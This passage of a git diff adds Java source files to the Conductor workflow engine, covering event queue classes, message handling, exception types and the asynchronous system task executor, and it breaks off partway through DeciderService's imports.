+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events.queue; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.metrics.Monitors; + +import rx.Observable; +import rx.Observable.OnSubscribe; +import rx.Scheduler; + +/** + * An {@link ObservableQueue} implementation using the underlying {@link QueueDAO} implementation. + */ +public class ConductorObservableQueue implements ObservableQueue { + + private static final Logger LOGGER = LoggerFactory.getLogger(ConductorObservableQueue.class); + + private static final String QUEUE_TYPE = "conductor"; + + private final String queueName; + private final QueueDAO queueDAO; + private final long pollTimeMS; + private final int longPollTimeout; + private final int pollCount; + private final Scheduler scheduler; + private volatile boolean running; + + ConductorObservableQueue( + String queueName, + QueueDAO queueDAO, + ConductorProperties properties, + Scheduler scheduler) { + this.queueName = queueName; + this.queueDAO = queueDAO; + this.pollTimeMS = properties.getEventQueuePollInterval().toMillis(); + this.pollCount = properties.getEventQueuePollCount(); + this.longPollTimeout = (int) properties.getEventQueueLongPollTimeout().toMillis(); + this.scheduler = scheduler; + } + + @Override + public Observable observe() { + OnSubscribe subscriber = getOnSubscribe(); + return Observable.create(subscriber); + } + + @Override + public List ack(List messages) { + for (Message msg : messages) { + queueDAO.ack(queueName, msg.getId()); + } + return messages.stream().map(Message::getId).collect(Collectors.toList()); + } + + public void setUnackTimeout(Message message, long unackTimeout) { + queueDAO.setUnackTimeout(queueName, message.getId(), unackTimeout); + } + + @Override + public void publish(List messages) { + queueDAO.push(queueName, messages); + } + + @Override + public long size() { + return queueDAO.getSize(queueName); + } + + @Override + public String getType() { + return QUEUE_TYPE; + } + + @Override + public String getName() { + return queueName; + } + + @Override + public String getURI() { + return queueName; + } + + private List receiveMessages() { + try { + List messages = queueDAO.pollMessages(queueName, pollCount, longPollTimeout); + Monitors.recordEventQueueMessagesProcessed(QUEUE_TYPE, queueName, messages.size()); + Monitors.recordEventQueuePollSize(queueName, messages.size()); + return messages; + } catch (Exception exception) { + LOGGER.error("Exception while getting messages from queueDAO", exception); + Monitors.recordObservableQMessageReceivedErrors(QUEUE_TYPE); + } + return new ArrayList<>(); + } + + private OnSubscribe getOnSubscribe() { + return subscriber -> { + Observable interval = + Observable.interval(pollTimeMS, TimeUnit.MILLISECONDS, scheduler); + interval.flatMap( + (Long x) -> { + if (!isRunning()) { + LOGGER.debug( + "Component stopped, skip listening for messages from Conductor Queue"); + return Observable.from(Collections.emptyList()); + } + List messages = receiveMessages(); + return Observable.from(messages); + }) + .subscribe(subscriber::onNext, subscriber::onError); + }; + } + + @Override + public void start() { + LOGGER.info("Started listening to {}:{}", getClass().getSimpleName(), queueName); + running = true; + } + + @Override + public void stop() { + LOGGER.info("Stopped listening to {}:{}", getClass().getSimpleName(), queueName); + running = false; + } + + @Override + public boolean isRunning() { + return running; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/events/queue/DefaultEventQueueProcessor.java b/core/src/main/java/com/netflix/conductor/core/events/queue/DefaultEventQueueProcessor.java new file mode 100644 index 0000000..ff49a17 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/events/queue/DefaultEventQueueProcessor.java @@ -0,0 +1,232 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events.queue; + +import java.util.*; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.utils.TaskUtils; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.TaskModel.Status; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.core.JsonParseException; +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_WAIT; + +/** + * Monitors and processes messages on the default event queues that Conductor listens on. + * + *

The default event queue type is controlled using the property: + * conductor.default-event-queue.type + */ +@Component +@ConditionalOnProperty( + name = "conductor.default-event-queue-processor.enabled", + havingValue = "true", + matchIfMissing = true) +public class DefaultEventQueueProcessor { + + private static final Logger LOGGER = LoggerFactory.getLogger(DefaultEventQueueProcessor.class); + private final Map queues; + private final WorkflowExecutor workflowExecutor; + private static final TypeReference> _mapType = new TypeReference<>() {}; + private final ObjectMapper objectMapper; + + public DefaultEventQueueProcessor( + Map queues, + WorkflowExecutor workflowExecutor, + ObjectMapper objectMapper) { + this.queues = queues; + this.workflowExecutor = workflowExecutor; + this.objectMapper = objectMapper; + queues.forEach(this::startMonitor); + LOGGER.info( + "DefaultEventQueueProcessor initialized with {} queues", queues.entrySet().size()); + } + + private void startMonitor(Status status, ObservableQueue queue) { + + queue.observe() + .subscribe( + (Message msg) -> { + try { + LOGGER.debug("Got message {}", msg.getPayload()); + String payload = msg.getPayload(); + JsonNode payloadJSON = objectMapper.readTree(payload); + String externalId = getValue("externalId", payloadJSON); + if (externalId == null || "".equals(externalId)) { + LOGGER.error("No external Id found in the payload {}", payload); + queue.ack(Collections.singletonList(msg)); + return; + } + + JsonNode json = objectMapper.readTree(externalId); + String workflowId = getValue("workflowId", json); + String taskRefName = getValue("taskRefName", json); + String taskId = getValue("taskId", json); + if (workflowId == null || "".equals(workflowId)) { + // This is a bad message, we cannot process it + LOGGER.error( + "No workflow id found in the message. {}", payload); + queue.ack(Collections.singletonList(msg)); + return; + } + WorkflowModel workflow = + workflowExecutor.getWorkflow(workflowId, true); + Optional optionalTaskModel; + if (StringUtils.isNotEmpty(taskId)) { + optionalTaskModel = + workflow.getTasks().stream() + .filter( + task -> + !task.getStatus().isTerminal() + && task.getTaskId() + .equals(taskId)) + .findFirst(); + } else if (StringUtils.isEmpty(taskRefName)) { + LOGGER.error( + "No taskRefName found in the message. If there is only one WAIT task, will mark it as completed. {}", + payload); + optionalTaskModel = + workflow.getTasks().stream() + .filter( + task -> + !task.getStatus().isTerminal() + && task.getTaskType() + .equals( + TASK_TYPE_WAIT)) + .findFirst(); + } else { + optionalTaskModel = + workflow.getTasks().stream() + .filter( + task -> + !task.getStatus().isTerminal() + && TaskUtils + .removeIterationFromTaskRefName( + task + .getReferenceTaskName()) + .equals( + taskRefName)) + .findFirst(); + } + + if (optionalTaskModel.isEmpty()) { + LOGGER.error( + "No matching tasks found to be marked as completed for workflow {}, taskRefName {}, taskId {}", + workflowId, + taskRefName, + taskId); + queue.ack(Collections.singletonList(msg)); + return; + } + + Task task = optionalTaskModel.get().toTask(); + task.setStatus(TaskModel.mapToTaskStatus(status)); + task.getOutputData() + .putAll(objectMapper.convertValue(payloadJSON, _mapType)); + workflowExecutor.updateTask(new TaskResult(task)); + + List failures = queue.ack(Collections.singletonList(msg)); + if (!failures.isEmpty()) { + LOGGER.error("Not able to ack the messages {}", failures); + } + } catch (JsonParseException e) { + LOGGER.error("Bad message? : {} ", msg, e); + queue.ack(Collections.singletonList(msg)); + } catch (NotFoundException nfe) { + LOGGER.error( + "Workflow ID specified is not valid for this environment"); + queue.ack(Collections.singletonList(msg)); + } catch (Exception e) { + LOGGER.error("Error processing message: {}", msg, e); + } + }, + (Throwable t) -> LOGGER.error(t.getMessage(), t)); + LOGGER.info("QueueListener::STARTED...listening for " + queue.getName()); + } + + private String getValue(String fieldName, JsonNode json) { + JsonNode node = json.findValue(fieldName); + if (node == null) { + return null; + } + return node.textValue(); + } + + public Map size() { + Map size = new HashMap<>(); + queues.forEach((key, queue) -> size.put(queue.getName(), queue.size())); + return size; + } + + public Map queues() { + Map size = new HashMap<>(); + queues.forEach((key, queue) -> size.put(key, queue.getURI())); + return size; + } + + public void updateByTaskRefName( + String workflowId, String taskRefName, Map output, Status status) + throws Exception { + Map externalIdMap = new HashMap<>(); + externalIdMap.put("workflowId", workflowId); + externalIdMap.put("taskRefName", taskRefName); + + update(externalIdMap, output, status); + } + + public void updateByTaskId( + String workflowId, String taskId, Map output, Status status) + throws Exception { + Map externalIdMap = new HashMap<>(); + externalIdMap.put("workflowId", workflowId); + externalIdMap.put("taskId", taskId); + + update(externalIdMap, output, status); + } + + private void update( + Map externalIdMap, Map output, Status status) + throws Exception { + Map outputMap = new HashMap<>(); + + outputMap.put("externalId", objectMapper.writeValueAsString(externalIdMap)); + outputMap.putAll(output); + + Message msg = + new Message( + UUID.randomUUID().toString(), + objectMapper.writeValueAsString(outputMap), + null); + ObservableQueue queue = queues.get(status); + if (queue == null) { + throw new IllegalArgumentException( + "There is no queue for handling " + status.toString() + " status"); + } + queue.publish(Collections.singletonList(msg)); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/events/queue/Message.java b/core/src/main/java/com/netflix/conductor/core/events/queue/Message.java new file mode 100644 index 0000000..6960a08 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/events/queue/Message.java @@ -0,0 +1,141 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events.queue; + +import java.util.Objects; + +public class Message { + + private String payload; + private String id; + private String receipt; + private int priority; + private int timeout; + + public Message() {} + + public Message(String id, String payload, String receipt) { + this.payload = payload; + this.id = id; + this.receipt = receipt; + } + + public Message(String id, String payload) { + this.id = id; + this.payload = payload; + } + + public Message(String id, String payload, String receipt, int priority) { + this.payload = payload; + this.id = id; + this.receipt = receipt; + this.priority = priority; + } + + /** + * @return the payload + */ + public String getPayload() { + return payload; + } + + /** + * @param payload the payload to set + */ + public void setPayload(String payload) { + this.payload = payload; + } + + /** + * @return the id + */ + public String getId() { + return id; + } + + /** + * @param id the id to set + */ + public void setId(String id) { + this.id = id; + } + + /** + * @return Receipt attached to the message + */ + public String getReceipt() { + return receipt; + } + + /** + * @param receipt Receipt attached to the message + */ + public void setReceipt(String receipt) { + this.receipt = receipt; + } + + /** + * Gets the message priority + * + * @return priority of message. + */ + public int getPriority() { + return priority; + } + + /** + * Sets the message priority (between 0 and 99). Higher priority message is retrieved ahead of + * lower priority ones. + * + * @param priority the priority of message (between 0 and 99) + */ + public void setPriority(int priority) { + this.priority = priority; + } + + public int getTimeout() { + return timeout; + } + + /** + * @param timeout Timeout in seconds + */ + public void setTimeout(int timeout) { + this.timeout = timeout; + } + + @Override + public String toString() { + return id; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + Message message = (Message) o; + return Objects.equals(payload, message.payload) + && Objects.equals(id, message.id) + && Objects.equals(priority, message.priority) + && Objects.equals(receipt, message.receipt); + } + + @Override + public int hashCode() { + return Objects.hash(payload, id, receipt, priority); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/events/queue/ObservableQueue.java b/core/src/main/java/com/netflix/conductor/core/events/queue/ObservableQueue.java new file mode 100644 index 0000000..ac5098e --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/events/queue/ObservableQueue.java @@ -0,0 +1,88 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events.queue; + +import java.util.List; + +import org.springframework.context.Lifecycle; + +import rx.Observable; + +public interface ObservableQueue extends Lifecycle { + + /** + * @return An observable for the given queue + */ + Observable observe(); + + /** + * @return Type of the queue + */ + String getType(); + + /** + * @return Name of the queue + */ + String getName(); + + /** + * @return URI identifier for the queue. + */ + String getURI(); + + /** + * @param messages to be ack'ed + * @return the id of the ones which could not be ack'ed + */ + List ack(List messages); + + /** + * @param messages to be Nack'ed + */ + default void nack(List messages) {} + + /** + * @param messages Messages to be published + */ + void publish(List messages); + + /** + * Used to determine if the queue supports unack/visibility timeout such that the messages will + * re-appear on the queue after a specific period and are available to be picked up again and + * retried. + * + * @return - false if the queue message need not be re-published to the queue for retriability - + * true if the message must be re-published to the queue for retriability + */ + default boolean rePublishIfNoAck() { + return false; + } + + /** + * Extend the lease of the unacknowledged message for longer period. + * + * @param message Message for which the timeout has to be changed + * @param unackTimeout timeout in milliseconds for which the unack lease should be extended. + * (replaces the current value with this value) + */ + void setUnackTimeout(Message message, long unackTimeout); + + /** + * @return Size of the queue - no. messages pending. Note: Depending upon the implementation, + * this can be an approximation + */ + long size(); + + /** Used to close queue instance prior to remove from queues */ + default void close() {} +} diff --git a/core/src/main/java/com/netflix/conductor/core/exception/AccessForbiddenException.java b/core/src/main/java/com/netflix/conductor/core/exception/AccessForbiddenException.java new file mode 100644 index 0000000..77b6b3b --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/exception/AccessForbiddenException.java @@ -0,0 +1,20 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.exception; + +public class AccessForbiddenException extends RuntimeException { + + public AccessForbiddenException(String message) { + super(message); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/exception/ConflictException.java b/core/src/main/java/com/netflix/conductor/core/exception/ConflictException.java new file mode 100644 index 0000000..21cbd60 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/exception/ConflictException.java @@ -0,0 +1,28 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.exception; + +public class ConflictException extends RuntimeException { + + public ConflictException(String message) { + super(message); + } + + public ConflictException(String message, Object... args) { + super(String.format(message, args)); + } + + public ConflictException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/exception/NonTransientException.java b/core/src/main/java/com/netflix/conductor/core/exception/NonTransientException.java new file mode 100644 index 0000000..0bf93d1 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/exception/NonTransientException.java @@ -0,0 +1,24 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.exception; + +public class NonTransientException extends RuntimeException { + + public NonTransientException(String message) { + super(message); + } + + public NonTransientException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/exception/NotFoundException.java b/core/src/main/java/com/netflix/conductor/core/exception/NotFoundException.java new file mode 100644 index 0000000..03f4d1d --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/exception/NotFoundException.java @@ -0,0 +1,28 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.exception; + +public class NotFoundException extends RuntimeException { + + public NotFoundException(String message) { + super(message); + } + + public NotFoundException(String message, Object... args) { + super(String.format(message, args)); + } + + public NotFoundException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/exception/TerminateWorkflowException.java b/core/src/main/java/com/netflix/conductor/core/exception/TerminateWorkflowException.java new file mode 100644 index 0000000..aa8ec4a --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/exception/TerminateWorkflowException.java @@ -0,0 +1,47 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.exception; + +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.model.WorkflowModel.Status.FAILED; + +public class TerminateWorkflowException extends RuntimeException { + + private final WorkflowModel.Status workflowStatus; + private final TaskModel task; + + public TerminateWorkflowException(String reason) { + this(reason, FAILED); + } + + public TerminateWorkflowException(String reason, WorkflowModel.Status workflowStatus) { + this(reason, workflowStatus, null); + } + + public TerminateWorkflowException( + String reason, WorkflowModel.Status workflowStatus, TaskModel task) { + super(reason); + this.workflowStatus = workflowStatus; + this.task = task; + } + + public WorkflowModel.Status getWorkflowStatus() { + return workflowStatus; + } + + public TaskModel getTask() { + return task; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/exception/TransientException.java b/core/src/main/java/com/netflix/conductor/core/exception/TransientException.java new file mode 100644 index 0000000..c6e536b --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/exception/TransientException.java @@ -0,0 +1,24 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.exception; + +public class TransientException extends RuntimeException { + + public TransientException(String message) { + super(message); + } + + public TransientException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/AsyncSystemTaskExecutor.java b/core/src/main/java/com/netflix/conductor/core/execution/AsyncSystemTaskExecutor.java new file mode 100644 index 0000000..d4ae87e --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/AsyncSystemTaskExecutor.java @@ -0,0 +1,244 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution; + +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.dal.ExecutionDAOFacade; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.core.utils.QueueUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +@Component +public class AsyncSystemTaskExecutor { + + private final ExecutionDAOFacade executionDAOFacade; + private final QueueDAO queueDAO; + private final MetadataDAO metadataDAO; + private final long queueTaskMessagePostponeSecs; + private final long systemTaskCallbackTime; + private final WorkflowExecutor workflowExecutor; + private final ParametersUtils parametersUtils; + + private static final Logger LOGGER = LoggerFactory.getLogger(AsyncSystemTaskExecutor.class); + + public AsyncSystemTaskExecutor( + ExecutionDAOFacade executionDAOFacade, + QueueDAO queueDAO, + MetadataDAO metadataDAO, + ConductorProperties conductorProperties, + WorkflowExecutor workflowExecutor, + ParametersUtils parametersUtils) { + this.executionDAOFacade = executionDAOFacade; + this.queueDAO = queueDAO; + this.metadataDAO = metadataDAO; + this.workflowExecutor = workflowExecutor; + this.systemTaskCallbackTime = + conductorProperties.getSystemTaskWorkerCallbackDuration().getSeconds(); + this.queueTaskMessagePostponeSecs = + conductorProperties.getTaskExecutionPostponeDuration().getSeconds(); + this.parametersUtils = parametersUtils; + } + + /** + * Executes and persists the results of an async {@link WorkflowSystemTask}. + * + * @param systemTask The {@link WorkflowSystemTask} to be executed. + * @param taskId The id of the {@link TaskModel} object. + */ + public void execute(WorkflowSystemTask systemTask, String taskId) { + TaskModel task = loadTaskQuietly(taskId); + if (task == null) { + LOGGER.error("TaskId: {} could not be found while executing {}", taskId, systemTask); + try { + LOGGER.debug( + "Cleaning up dead task from queue message: taskQueue={}, taskId={}", + systemTask.getTaskType(), + taskId); + queueDAO.remove(systemTask.getTaskType(), taskId); + } catch (Exception e) { + LOGGER.error( + "Failed to remove dead task from queue message: taskQueue={}, taskId={}", + systemTask.getTaskType(), + taskId); + } + return; + } + + LOGGER.debug("Task: {} fetched from execution DAO for taskId: {}", task, taskId); + String queueName = QueueUtils.getQueueName(task); + if (task.getStatus().isTerminal()) { + // Tune the SystemTaskWorkerCoordinator's queues - if the queue size is very big this + // can happen! + LOGGER.info("Task {}/{} was already completed.", task.getTaskType(), task.getTaskId()); + queueDAO.remove(queueName, task.getTaskId()); + return; + } + + if (task.getStatus().equals(TaskModel.Status.SCHEDULED)) { + if (executionDAOFacade.exceedsInProgressLimit(task)) { + LOGGER.warn( + "Concurrent Execution limited for {}:{}", taskId, task.getTaskDefName()); + postponeQuietly(queueName, task); + return; + } + if (task.getRateLimitPerFrequency() > 0 + && executionDAOFacade.exceedsRateLimitPerFrequency( + task, metadataDAO.getTaskDef(task.getTaskDefName()))) { + LOGGER.warn( + "RateLimit Execution limited for {}:{}, limit:{}", + taskId, + task.getTaskDefName(), + task.getRateLimitPerFrequency()); + postponeQuietly(queueName, task); + return; + } + } + + boolean hasTaskExecutionCompleted = false; + boolean shouldRemoveTaskFromQueue = false; + String workflowId = task.getWorkflowInstanceId(); + // if we are here the Task object is updated and needs to be persisted regardless of an + // exception + try { + WorkflowModel workflow = + executionDAOFacade.getWorkflowModel( + workflowId, systemTask.isTaskRetrievalRequired()); + + if (workflow.getStatus().isTerminal()) { + LOGGER.info( + "Workflow {} has been completed for {}/{}", + workflow.toShortString(), + systemTask, + task.getTaskId()); + if (!task.getStatus().isTerminal()) { + task.setStatus(TaskModel.Status.CANCELED); + task.setReasonForIncompletion( + String.format( + "Workflow is in %s state", workflow.getStatus().toString())); + } + shouldRemoveTaskFromQueue = true; + return; + } + + LOGGER.debug( + "Executing {}/{} in {} state", + task.getTaskType(), + task.getTaskId(), + task.getStatus()); + + boolean isTaskAsyncComplete = systemTask.isAsyncComplete(task); + if (task.getStatus() == TaskModel.Status.SCHEDULED || !isTaskAsyncComplete) { + task.incrementPollCount(); + } + + if (task.getStatus() == TaskModel.Status.SCHEDULED + || task.getStatus() == TaskModel.Status.IN_PROGRESS) { + Map literalInput = task.getInputData(); + // Secrets substitution only sees task.getInputData(); when input has been + // offloaded to external payload storage, getInputData()/setInputData() operate on + // a different field and this substitution silently becomes a no-op. + if (task.getExternalInputPayloadStoragePath() != null) { + LOGGER.warn( + "Task {} has externalized input; ${{workflow.secrets.*}} references are not resolved for external payload storage", + task.getTaskId()); + } + task.setInputData(parametersUtils.substituteSecrets(literalInput)); + try { + if (task.getStatus() == TaskModel.Status.SCHEDULED) { + task.setStartTime(System.currentTimeMillis()); + Monitors.recordQueueWaitTime(task.getTaskType(), task.getQueueWaitTime()); + systemTask.start(workflow, task, workflowExecutor); + } else { + systemTask.execute(workflow, task, workflowExecutor); + } + } finally { + task.setInputData(literalInput); + } + } + + // Update message in Task queue based on Task status + // Remove asyncComplete system tasks from the queue that are not in SCHEDULED state + if (isTaskAsyncComplete && task.getStatus() != TaskModel.Status.SCHEDULED) { + shouldRemoveTaskFromQueue = true; + hasTaskExecutionCompleted = true; + } else if (task.getStatus().isTerminal()) { + task.setEndTime(System.currentTimeMillis()); + shouldRemoveTaskFromQueue = true; + hasTaskExecutionCompleted = true; + } else { + task.setCallbackAfterSeconds(systemTaskCallbackTime); + systemTask + .getEvaluationOffset(task, systemTaskCallbackTime) + .ifPresentOrElse( + task::setCallbackAfterSeconds, + () -> task.setCallbackAfterSeconds(systemTaskCallbackTime)); + queueDAO.postpone( + queueName, + task.getTaskId(), + task.getWorkflowPriority(), + task.getCallbackAfterSeconds()); + LOGGER.debug("{} postponed in queue: {}", task, queueName); + } + + LOGGER.debug( + "Finished execution of {}/{}-{}", + systemTask, + task.getTaskId(), + task.getStatus()); + } catch (Exception e) { + Monitors.error(AsyncSystemTaskExecutor.class.getSimpleName(), "executeSystemTask"); + LOGGER.error("Error executing system task - {}, with id: {}", systemTask, taskId, e); + } finally { + executionDAOFacade.updateTask(task); + if (shouldRemoveTaskFromQueue) { + queueDAO.remove(queueName, task.getTaskId()); + LOGGER.debug("{} removed from queue: {}", task, queueName); + } + // if the current task execution has completed, then the workflow needs to be evaluated + if (hasTaskExecutionCompleted) { + workflowExecutor.decide(workflowId); + } + } + } + + private void postponeQuietly(String queueName, TaskModel task) { + try { + queueDAO.postpone( + queueName, + task.getTaskId(), + task.getWorkflowPriority(), + queueTaskMessagePostponeSecs); + } catch (Exception e) { + LOGGER.error("Error postponing task: {} in queue: {}", task.getTaskId(), queueName); + } + } + + private TaskModel loadTaskQuietly(String taskId) { + try { + return executionDAOFacade.getTaskModel(taskId); + } catch (Exception e) { + return null; + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/DeciderService.java b/core/src/main/java/com/netflix/conductor/core/execution/DeciderService.java new file mode 100644 index 0000000..33e9317 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/DeciderService.java @@ -0,0 +1,1059 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution; + +import java.time.Duration; +import java.util.*; +import java.util.concurrent.ThreadLocalRandom; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; + +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.utils.ExternalPayloadStorage.Operation; +import com.netflix.conductor.common.utils.ExternalPayloadStorage.PayloadType; +import com.netflix.conductor.common.utils.TaskUtils; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.mapper.TaskMapper; +import com.netflix.conductor.core.execution.mapper.TaskMapperContext; +import 